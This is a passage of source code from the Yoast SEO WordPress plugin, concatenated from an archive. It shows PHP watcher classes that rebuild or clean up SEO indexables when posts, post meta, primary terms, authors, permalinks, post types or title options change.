		\add_action( 'admin_init', [ $this, 'check_post_types_public_availability' ] );
	}

	/**
	 * Checks if one or more post types change visibility.
	 *
	 * @return void
	 */
	public function check_post_types_public_availability() {

		// We have to make sure this is just a plain http request, no ajax/REST.
		if ( \wp_is_json_request() ) {
			return;
		}

		$public_post_types = $this->post_type_helper->get_indexable_post_types();

		$last_known_public_post_types = $this->options->get( 'last_known_public_post_types', [] );

		// Initializing the option on the first run.
		if ( empty( $last_known_public_post_types ) ) {
			$this->options->set( 'last_known_public_post_types', $public_post_types );
			return;
		}

		// We look for new public post types.
		$newly_made_public_post_types = \array_diff( $public_post_types, $last_known_public_post_types );
		// We look for post types that from public have been made private.
		$newly_made_non_public_post_types = \array_diff( $last_known_public_post_types, $public_post_types );

		// Nothing to be done if no changes has been made to post types.
		if ( empty( $newly_made_public_post_types ) && ( empty( $newly_made_non_public_post_types ) ) ) {
			return;
		}

		// Update the list of last known public post types in the database.
		$this->options->set( 'last_known_public_post_types', $public_post_types );

		// There are new post types that have been made public.
		if ( $newly_made_public_post_types ) {

			// Force a notification requesting to start the SEO data optimization.
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_LIMITED_COUNT_TRANSIENT );

			$this->indexing_helper->set_reason( Indexing_Reasons::REASON_POST_TYPE_MADE_PUBLIC );

			\do_action( 'new_public_post_type_notifications', $newly_made_public_post_types );
		}

		// There are post types that have been made private.
		if ( $newly_made_non_public_post_types && $this->indexable_helper->should_index_indexables() ) {
			// Schedule a cron job to remove all the posts whose post type has been made private.
			$cleanup_not_yet_scheduled = ! \wp_next_scheduled( Cleanup_Integration::START_HOOK );
			if ( $cleanup_not_yet_scheduled ) {
				\wp_schedule_single_event( ( \time() + ( \MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
			}

			\do_action( 'clean_new_public_post_type_notifications', $newly_made_non_public_post_types );
		}
	}
}
wordpress-seo/src/integrations/watchers/indexable-post-meta-watcher.php000064400000005632147510273100022511 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use WPSEO_Meta;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * WordPress post meta watcher.
 */
class Indexable_Post_Meta_Watcher implements Integration_Interface {

	/**
	 * The post watcher.
	 *
	 * @var Indexable_Post_Watcher
	 */
	protected $post_watcher;

	/**
	 * An array of post IDs that need to be updated.
	 *
	 * @var array<int>
	 */
	protected $post_ids_to_update = [];

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return string[]
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Postmeta_Watcher constructor.
	 *
	 * @param Indexable_Post_Watcher $post_watcher The post watcher.
	 */
	public function __construct( Indexable_Post_Watcher $post_watcher ) {
		$this->post_watcher = $post_watcher;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Register all posts whose meta have changed.
		\add_action( 'added_post_meta', [ $this, 'add_post_id' ], 10, 3 );
		\add_action( 'updated_post_meta', [ $this, 'add_post_id' ], 10, 3 );
		\add_action( 'deleted_post_meta', [ $this, 'add_post_id' ], 10, 3 );

		// Remove posts that get saved as they are handled by the Indexable_Post_Watcher.
		\add_action( 'wp_insert_post', [ $this, 'remove_post_id' ] );
		\add_action( 'delete_post', [ $this, 'remove_post_id' ] );
		\add_action( 'edit_attachment', [ $this, 'remove_post_id' ] );
		\add_action( 'add_attachment', [ $this, 'remove_post_id' ] );
		\add_action( 'delete_attachment', [ $this, 'remove_post_id' ] );

		// Update indexables of all registered posts.
		\register_shutdown_function( [ $this, 'update_indexables' ] );
	}

	/**
	 * Adds a post id to the array of posts to update.
	 *
	 * @param int|string $meta_id  The meta ID.
	 * @param int|string $post_id  The post ID.
	 * @param string     $meta_key The meta key.
	 *
	 * @return void
	 */
	public function add_post_id( $meta_id, $post_id, $meta_key ) {
		// Only register changes to our own meta.
		if ( \is_string( $meta_key ) && \strpos( $meta_key, WPSEO_Meta::$meta_prefix ) !== 0 ) {
			return;
		}

		if ( ! \in_array( $post_id, $this->post_ids_to_update, true ) ) {
			$this->post_ids_to_update[] = (int) $post_id;
		}
	}

	/**
	 * Removes a post id from the array of posts to update.
	 *
	 * @param int|string $post_id The post ID.
	 *
	 * @return void
	 */
	public function remove_post_id( $post_id ) {
		$this->post_ids_to_update = \array_diff( $this->post_ids_to_update, [ (int) $post_id ] );
	}

	/**
	 * Updates all indexables changed during the request.
	 *
	 * @return void
	 */
	public function update_indexables() {
		foreach ( $this->post_ids_to_update as $post_id ) {
			$this->post_watcher->build_indexable( $post_id );
		}
	}
}
wordpress-seo/src/integrations/watchers/primary-term-watcher.php000064400000010644147510273100021276 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use WP_Term;
use WPSEO_Meta;
use WPSEO_Primary_Term;
use Yoast\WP\SEO\Builders\Primary_Term_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Primary_Term_Helper;
use Yoast\WP\SEO\Helpers\Site_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Primary_Term_Repository;

/**
 * Primary Term watcher.
 *
 * Watches Posts to save the primary term when set.
 */
class Primary_Term_Watcher implements Integration_Interface {

	/**
	 * The primary term repository.
	 *
	 * @var Primary_Term_Repository
	 */
	protected $repository;

	/**
	 * Represents the site helper.
	 *
	 * @var Site_Helper
	 */
	protected $site;

	/**
	 * The primary term helper.
	 *
	 * @var Primary_Term_Helper
	 */
	protected $primary_term;

	/**
	 * The primary term builder.
	 *
	 * @var Primary_Term_Builder
	 */
	protected $primary_term_builder;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Primary_Term_Watcher constructor.
	 *
	 * @codeCoverageIgnore It sets dependencies.
	 *
	 * @param Primary_Term_Repository $repository           The primary term repository.
	 * @param Site_Helper             $site                 The site helper.
	 * @param Primary_Term_Helper     $primary_term         The primary term helper.
	 * @param Primary_Term_Builder    $primary_term_builder The primary term builder.
	 */
	public function __construct(
		Primary_Term_Repository $repository,
		Site_Helper $site,
		Primary_Term_Helper $primary_term,
		Primary_Term_Builder $primary_term_builder
	) {
		$this->repository           = $repository;
		$this->site                 = $site;
		$this->primary_term         = $primary_term;
		$this->primary_term_builder = $primary_term_builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'save_post', [ $this, 'save_primary_terms' ], \PHP_INT_MAX );
		\add_action( 'delete_post', [ $this, 'delete_primary_terms' ] );
	}

	/**
	 * Saves all selected primary terms.
	 *
	 * @param int $post_id Post ID to save primary terms for.
	 *
	 * @return void
	 */
	public function save_primary_terms( $post_id ) {
		// Bail if this is a multisite installation and the site has been switched.
		if ( $this->site->is_multisite_and_switched() ) {
			return;
		}

		$taxonomies = $this->primary_term->get_primary_term_taxonomies( $post_id );

		foreach ( $taxonomies as $taxonomy ) {
			$this->save_primary_term( $post_id, $taxonomy );
		}

		$this->primary_term_builder->build( $post_id );
	}

	/**
	 * Saves the primary term for a specific taxonomy.
	 *
	 * @param int     $post_id  Post ID to save primary term for.
	 * @param WP_Term $taxonomy Taxonomy to save primary term for.
	 *
	 * @return void
	 */
	protected function save_primary_term( $post_id, $taxonomy ) {
		if ( isset( $_POST[ WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_term' ] ) && \is_string( $_POST[ WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_term' ] ) ) {
			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are casting to an integer.
			$primary_term_id = (int) \wp_unslash( $_POST[ WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_term' ] );

			if ( $primary_term_id <= 0 ) {
				$primary_term = '';
			}
			else {
				$primary_term = (string) $primary_term_id;
			}

			// We accept an empty string here because we need to save that if no terms are selected.
			if ( \check_admin_referer( 'save-primary-term', WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_nonce' ) !== null ) {
				$primary_term_object = new WPSEO_Primary_Term( $taxonomy->name, $post_id );
				$primary_term_object->set_primary_term( $primary_term );
			}
		}
	}

	/**
	 * Deletes primary terms for a post.
	 *
	 * @param int $post_id The post to delete the terms of.
	 *
	 * @return void
	 */
	public function delete_primary_terms( $post_id ) {
		foreach ( $this->primary_term->get_primary_term_taxonomies( $post_id ) as $taxonomy ) {
			$primary_term_indexable = $this->repository->find_by_post_id_and_taxonomy( $post_id, $taxonomy->name, false );

			if ( ! $primary_term_indexable ) {
				continue;
			}

			$primary_term_indexable->delete();
		}
	}
}
wordpress-seo/src/integrations/watchers/indexable-post-type-archive-watcher.php000064400000007735147510273100024171 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Post type archive watcher to save the meta data to an Indexable.
 *
 * Watches the home page options to save the meta information when updated.
 */
class Indexable_Post_Type_Archive_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Post_Type_Archive_Watcher constructor.
	 *
	 * @param Indexable_Repository $repository       The repository to use.
	 * @param Indexable_Helper     $indexable_helper The indexable helper.
	 * @param Indexable_Builder    $builder          The post builder to use.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Helper $indexable_helper,
		Indexable_Builder $builder
	) {
		$this->repository       = $repository;
		$this->indexable_helper = $indexable_helper;
		$this->builder          = $builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
	}

	/**
	 * Checks if the home page indexable needs to be rebuild based on option values.
	 *
	 * @param array $old_value The old value of the option.
	 * @param array $new_value The new value of the option.
	 *
	 * @return bool Whether or not the option has been saved.
	 */
	public function check_option( $old_value, $new_value ) {
		$relevant_keys = [ 'title-ptarchive-', 'metadesc-ptarchive-', 'bctitle-ptarchive-', 'noindex-ptarchive-' ];

		// If this is the first time saving the option, thus when value is false.
		if ( $old_value === false ) {
			$old_value = [];
		}

		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return false;
		}

		$keys               = \array_unique( \array_merge( \array_keys( $old_value ), \array_keys( $new_value ) ) );
		$post_types_rebuild = [];

		foreach ( $keys as $key ) {
			$post_type = false;
			// Check if it's a key relevant to post type archives.
			foreach ( $relevant_keys as $relevant_key ) {
				if ( \strpos( $key, $relevant_key ) === 0 ) {
					$post_type = \substr( $key, \strlen( $relevant_key ) );
					break;
				}
			}

			// If it's not a relevant key or both values aren't set they haven't changed.
			if ( $post_type === false || ( ! isset( $old_value[ $key ] ) && ! isset( $new_value[ $key ] ) ) ) {
				continue;
			}

			// If the value was set but now isn't, is set but wasn't or is not the same it has changed.
			if (
				! \in_array( $post_type, $post_types_rebuild, true )
				&& (
					! isset( $old_value[ $key ] )
					|| ! isset( $new_value[ $key ] )
					|| $old_value[ $key ] !== $new_value[ $key ]
				)
			) {
				$this->build_indexable( $post_type );
				$post_types_rebuild[] = $post_type;
			}
		}

		return true;
	}

	/**
	 * Saves the post type archive.
	 *
	 * @param string $post_type The post type.
	 *
	 * @return void
	 */
	public function build_indexable( $post_type ) {
		$indexable = $this->repository->find_for_post_type_archive( $post_type, false );
		$indexable = $this->builder->build_for_post_type_archive( $post_type, $indexable );

		if ( $indexable ) {
			$indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) );
			$this->indexable_helper->save_indexable( $indexable );
		}
	}
}
wordpress-seo/src/integrations/watchers/option-titles-watcher.php000064400000006463147510273100021464 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\Lib\Model;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\WordPress\Wrapper;

/**
 * Watcher for the titles option.
 *
 * Represents the option titles watcher.
 */
class Option_Titles_Watcher implements Integration_Interface {

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<Migrations_Conditional>
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Checks if one of the relevant options has been changed.
	 *
	 * @param array<string,int,bool> $old_value The old value of the option.
	 * @param array<string,int,bool> $new_value The new value of the option.
	 *
	 * @return bool Whether or not the ancestors are removed.
	 */
	public function check_option( $old_value, $new_value ) {
		// If this is the first time saving the option, thus when value is false.
		if ( $old_value === false ) {
			$old_value = [];
		}

		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return false;
		}

		$relevant_keys = $this->get_relevant_keys();
		if ( empty( $relevant_keys ) ) {
			return false;
		}

		$post_types = [];

		foreach ( $relevant_keys as $post_type => $relevant_option ) {
			// If both values aren't set they haven't changed.
			if ( ! isset( $old_value[ $relevant_option ] ) && ! isset( $new_value[ $relevant_option ] ) ) {
				continue;
			}

			if ( $old_value[ $relevant_option ] !== $new_value[ $relevant_option ] ) {
				$post_types[] = $post_type;
			}
		}

		return $this->delete_ancestors( $post_types );
	}

	/**
	 * Retrieves the relevant keys.
	 *
	 * @return array<string> Array with the relevant keys.
	 */
	protected function get_relevant_keys() {
		$post_types = \get_post_types( [ 'public' => true ], 'names' );
		if ( ! \is_array( $post_types ) || $post_types === [] ) {
			return [];
		}

		$relevant_keys = [];
		foreach ( $post_types as $post_type ) {
			$relevant_keys[ $post_type ] = 'post_types-' . $post_type . '-maintax';
		}

		return $relevant_keys;
	}

	/**
	 * Removes the ancestors for given post types.
	 *
	 * @param array<string> $post_types The post types to remove hierarchy for.
	 *
	 * @return bool True when delete query was successful.
	 */
	protected function delete_ancestors( $post_types ) {
		if ( empty( $post_types ) ) {
			return false;
		}

		$wpdb            = Wrapper::get_wpdb();
		$hierarchy_table = Model::get_table_name( 'Indexable_Hierarchy' );
		$indexable_table = Model::get_table_name( 'Indexable' );

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Delete query.
		$result = $wpdb->query(
			$wpdb->prepare(
				"
				DELETE FROM %i
				WHERE indexable_id IN(
					SELECT id
					FROM %i
					WHERE object_type = 'post'
					AND object_sub_type IN( " . \implode( ', ', \array_fill( 0, \count( $post_types ), '%s' ) ) . ' )
				)',
				$hierarchy_table,
				$indexable_table,
				...$post_types
			)
		);

		return $result !== false;
	}
}
wordpress-seo/src/integrations/watchers/indexable-permalink-watcher.php000064400000017404147510273100022562 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * WordPress Permalink structure watcher.
 *
 * Handles updates to the permalink_structure for the Indexables table.
 */
class Indexable_Permalink_Watcher implements Integration_Interface {

	/**
	 * Represents the options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The taxonomy helper.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy_helper;

	/**
	 * The post type helper.
	 *
	 * @var Post_Type_Helper
	 */
	private $post_type;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Permalink_Watcher constructor.
	 *
	 * @param Post_Type_Helper $post_type       The post type helper.
	 * @param Options_Helper   $options         The options helper.
	 * @param Indexable_Helper $indexable       The indexable helper.
	 * @param Taxonomy_Helper  $taxonomy_helper The taxonomy helper.
	 */
	public function __construct( Post_Type_Helper $post_type, Options_Helper $options, Indexable_Helper $indexable, Taxonomy_Helper $taxonomy_helper ) {
		$this->post_type        = $post_type;
		$this->options_helper   = $options;
		$this->indexable_helper = $indexable;
		$this->taxonomy_helper  = $taxonomy_helper;

		$this->schedule_cron();
	}

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_permalink_structure', [ $this, 'reset_permalinks' ] );
		\add_action( 'update_option_category_base', [ $this, 'reset_permalinks_term' ], 10, 3 );
		\add_action( 'update_option_tag_base', [ $this, 'reset_permalinks_term' ], 10, 3 );
		\add_action( 'wpseo_permalink_structure_check', [ $this, 'force_reset_permalinks' ] );
		\add_action( 'wpseo_deactivate', [ $this, 'unschedule_cron' ] );
	}

	/**
	 * Resets the permalinks for everything that is related to the permalink structure.
	 *
	 * @return void
	 */
	public function reset_permalinks() {

		$post_types = $this->get_post_types();
		foreach ( $post_types as $post_type ) {
			$this->reset_permalinks_post_type( $post_type );
		}

		$taxonomies = $this->get_taxonomies_for_post_types( $post_types );
		foreach ( $taxonomies as $taxonomy ) {
			$this->indexable_helper->reset_permalink_indexables( 'term', $taxonomy );
		}

		$this->indexable_helper->reset_permalink_indexables( 'user' );
		$this->indexable_helper->reset_permalink_indexables( 'date-archive' );
		$this->indexable_helper->reset_permalink_indexables( 'system-page' );

		// Always update `permalink_structure` in the wpseo option.
		$this->options_helper->set( 'permalink_structure', \get_option( 'permalink_structure' ) );
	}

	/**
	 * Resets the permalink for the given post type.
	 *
	 * @param string $post_type The post type to reset.
	 *
	 * @return void
	 */
	public function reset_permalinks_post_type( $post_type ) {
		$this->indexable_helper->reset_permalink_indexables( 'post', $post_type );
		$this->indexable_helper->reset_permalink_indexables( 'post-type-archive', $post_type );
	}

	/**
	 * Resets the term indexables when the base has been changed.
	 *
	 * @param string $old_value Unused. The old option value.
	 * @param string $new_value Unused. The new option value.
	 * @param string $type      The option name.
	 *
	 * @return void
	 */
	public function reset_permalinks_term( $old_value, $new_value, $type ) {
		$subtype = $type;

		$reason = Indexing_Reasons::REASON_PERMALINK_SETTINGS;

		// When the subtype contains _base, just strip it.
		if ( \strstr( $subtype, '_base' ) ) {
			$subtype = \substr( $type, 0, -5 );
		}

		if ( $subtype === 'tag' ) {
			$subtype = 'post_tag';
			$reason  = Indexing_Reasons::REASON_TAG_BASE_PREFIX;
		}

		if ( $subtype === 'category' ) {
			$reason = Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX;
		}

		$this->indexable_helper->reset_permalink_indexables( 'term', $subtype, $reason );
	}

	/**
	 * Resets the permalink indexables automatically, if necessary.
	 *
	 * @return bool Whether the reset request ran.
	 */
	public function force_reset_permalinks() {
		if ( \get_option( 'tag_base' ) !== $this->options_helper->get( 'tag_base_url' ) ) {
			$this->reset_permalinks_term( null, null, 'tag_base' );
			$this->options_helper->set( 'tag_base_url', \get_option( 'tag_base' ) );
		}
		if ( \get_option( 'category_base' ) !== $this->options_helper->get( 'category_base_url' ) ) {
			$this->reset_permalinks_term( null, null, 'category_base' );
			$this->options_helper->set( 'category_base_url', \get_option( 'category_base' ) );
		}

		if ( $this->should_reset_permalinks() ) {
			$this->reset_permalinks();

			return true;
		}

		$this->reset_altered_custom_taxonomies();

		return true;
	}

	/**
	 * Checks whether the permalinks should be reset after `permalink_structure` has changed.
	 *
	 * @return bool Whether the permalinks should be reset.
	 */
	public function should_reset_permalinks() {
		return \get_option( 'permalink_structure' ) !== $this->options_helper->get( 'permalink_structure' );
	}

	/**
	 * Resets custom taxonomies if their slugs have changed.
	 *
	 * @return void
	 */
	public function reset_altered_custom_taxonomies() {
		$taxonomies            = $this->taxonomy_helper->get_custom_taxonomies();
		$custom_taxonomy_bases = $this->options_helper->get( 'custom_taxonomy_slugs', [] );
		$new_taxonomy_bases    = [];

		foreach ( $taxonomies as $taxonomy ) {
			$taxonomy_slug = $this->taxonomy_helper->get_taxonomy_slug( $taxonomy );

			$new_taxonomy_bases[ $taxonomy ] = $taxonomy_slug;

			if ( ! \array_key_exists( $taxonomy, $custom_taxonomy_bases ) ) {
				continue;
			}

			if ( $taxonomy_slug !== $custom_taxonomy_bases[ $taxonomy ] ) {
				$this->indexable_helper->reset_permalink_indexables( 'term', $taxonomy );
			}
		}

		$this->options_helper->set( 'custom_taxonomy_slugs', $new_taxonomy_bases );
	}

	/**
	 * Retrieves a list with the public post types.
	 *
	 * @return array The post types.
	 */
	protected function get_post_types() {
		/**
		 * Filter: Gives the possibility to filter out post types.
		 *
		 * @param array $post_types The post type names.
		 *
		 * @return array The post types.
		 */
		$post_types = \apply_filters( 'wpseo_post_types_reset_permalinks', $this->post_type->get_public_post_types() );

		return $post_types;
	}

	/**
	 * Retrieves the taxonomies that belongs to the public post types.
	 *
	 * @param array $post_types The post types to get taxonomies for.
	 *
	 * @return array The retrieved taxonomies.
	 */
	protected function get_taxonomies_for_post_types( $post_types ) {
		$taxonomies = [];
		foreach ( $post_types as $post_type ) {
			$taxonomies[] = \get_object_taxonomies( $post_type, 'names' );
		}

		$taxonomies = \array_merge( [], ...$taxonomies );
		$taxonomies = \array_unique( $taxonomies );

		return $taxonomies;
	}

	/**
	 * Schedules the WP-Cron job to check the permalink_structure status.
	 *
	 * @return void
	 */
	protected function schedule_cron() {
		if ( \wp_next_scheduled( 'wpseo_permalink_structure_check' ) ) {
			return;
		}

		\wp_schedule_event( \time(), 'daily', 'wpseo_permalink_structure_check' );
	}

	/**
	 * Unschedules the WP-Cron job to check the permalink_structure status.
	 *
	 * @return void
	 */
	public function unschedule_cron() {
		if ( ! \wp_next_scheduled( 'wpseo_permalink_structure_check' ) ) {
			return;
		}

		\wp_clear_scheduled_hook( 'wpseo_permalink_structure_check' );
	}
}
wordpress-seo/src/integrations/watchers/indexable-author-watcher.php000064400000007010147510273100022072 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Watches an Author to save the meta information to an Indexable when updated.
 */
class Indexable_Author_Watcher implements Integration_Interface {

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $repository;

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	protected $builder;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Author_Watcher constructor.
	 *
	 * @param Indexable_Repository $repository       The repository to use.
	 * @param Indexable_Helper     $indexable_helper The indexable helper.
	 * @param Indexable_Builder    $builder          The builder to use.
	 */
	public function __construct(
		Indexable_Repository $repository,
		Indexable_Helper $indexable_helper,
		Indexable_Builder $builder
	) {
		$this->repository       = $repository;
		$this->indexable_helper = $indexable_helper;
		$this->builder          = $builder;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'user_register', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'profile_update', [ $this, 'build_indexable' ], \PHP_INT_MAX );
		\add_action( 'deleted_user', [ $this, 'handle_user_delete' ], 10, 2 );
	}

	/**
	 * Deletes user meta.
	 *
	 * @param int $user_id User ID to delete the metadata of.
	 *
	 * @return void
	 */
	public function delete_indexable( $user_id ) {
		$indexable = $this->repository->find_by_id_and_type( $user_id, 'user', false );

		if ( ! $indexable ) {
			return;
		}

		$indexable->delete();
		\do_action( 'wpseo_indexable_deleted', $indexable );
	}

	/**
	 * Saves user meta.
	 *
	 * @param int $user_id User ID.
	 *
	 * @return void
	 */
	public function build_indexable( $user_id ) {
		$indexable = $this->repository->find_by_id_and_type( $user_id, 'user', false );
		$indexable = $this->builder->build_for_id_and_type( $user_id, 'user', $indexable );

		if ( $indexable ) {
			$indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) );
			$this->indexable_helper->save_indexable( $indexable );
		}
	}

	/**
	 * Handles the case in which an author is deleted.
	 *
	 * @param int      $user_id     User ID.
	 * @param int|null $new_user_id The ID of the user the old author's posts are reassigned to.
	 *
	 * @return void
	 */
	public function handle_user_delete( $user_id, $new_user_id = null ) {
		if ( $new_user_id !== null ) {
			$this->maybe_reassign_user_indexables( $user_id, $new_user_id );
		}

		$this->delete_indexable( $user_id );
	}

	/**
	 * Reassigns the indexables of a user to another user.
	 *
	 * @param int $user_id     The user ID.
	 * @param int $new_user_id The user ID to reassign the indexables to.
	 *
	 * @return void
	 */
	public function maybe_reassign_user_indexables( $user_id, $new_user_id ) {
		$this->repository->query()
			->set( 'author_id', $new_user_id )
			->where( 'author_id', $user_id )
			->update_many();
	}
}
wordpress-seo/src/integrations/watchers/indexable-attachment-watcher.php000064400000011421147510273100022721 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Actions\Indexing\Indexable_Post_Indexation_Action;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Attachment_Cleanup_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Notification_Center;

/**
 * Watches the disable-attachment key in wpseo_titles, in order to clear the permalink of the category indexables.
 */
class Indexable_Attachment_Watcher implements Integration_Interface {

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The attachment cleanup helper.
	 *
	 * @var Attachment_Cleanup_Helper
	 */
	protected $attachment_cleanup;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The notifications center.
	 *
	 * @var Yoast_Notification_Center
	 */
	private $notification_center;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array<string> The conditionals.
	 */
	public static function get_conditionals() {
		return [ Migrations_Conditional::class ];
	}

	/**
	 * Indexable_Attachment_Watcher constructor.
	 *
	 * @param Indexing_Helper           $indexing_helper     The indexing helper.
	 * @param Attachment_Cleanup_Helper $attachment_cleanup  The attachment cleanup helper.
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Indexable_Helper          $indexable_helper    The indexable helper.
	 */
	public function __construct(
		Indexing_Helper $indexing_helper,
		Attachment_Cleanup_Helper $attachment_cleanup,
		Yoast_Notification_Center $notification_center,
		Indexable_Helper $indexable_helper
	) {
		$this->indexing_helper     = $indexing_helper;
		$this->attachment_cleanup  = $attachment_cleanup;
		$this->notification_center = $notification_center;
		$this->indexable_helper    = $indexable_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 20, 2 );
	}

	/**
	 * Checks if the disable-attachment key in wpseo_titles has a change in value, and if so,
	 * either it cleans up attachment indexables when it has been toggled to true,
	 * or it starts displaying a notification for the user to start a new SEO optimization.
	 *
	 * @phpcs:disable SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingTraversableTypeHintSpecification
	 *
	 * @param array $old_value The old value of the wpseo_titles option.
	 * @param array $new_value The new value of the wpseo_titles option.
	 *
	 * @phpcs:enable
	 * @return void
	 */
	public function check_option( $old_value, $new_value ) {
		// If this is the first time saving the option, in which case its value would be false.
		if ( $old_value === false ) {
			$old_value = [];
		}

		// If either value is not an array, return.
		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return;
		}

		// If both values aren't set, they haven't changed.
		if ( ! isset( $old_value['disable-attachment'] ) && ! isset( $new_value['disable-attachment'] ) ) {
			return;
		}

		// If a new value has been set for 'disable-attachment', there's two things we might need to do, depending on what's the new value.
		if ( $old_value['disable-attachment'] !== $new_value['disable-attachment'] ) {
			// Delete cache because we now might have new stuff to index or old unindexed stuff don't need indexing anymore.
			\delete_transient( Indexable_Post_Indexation_Action::UNINDEXED_COUNT_TRANSIENT );
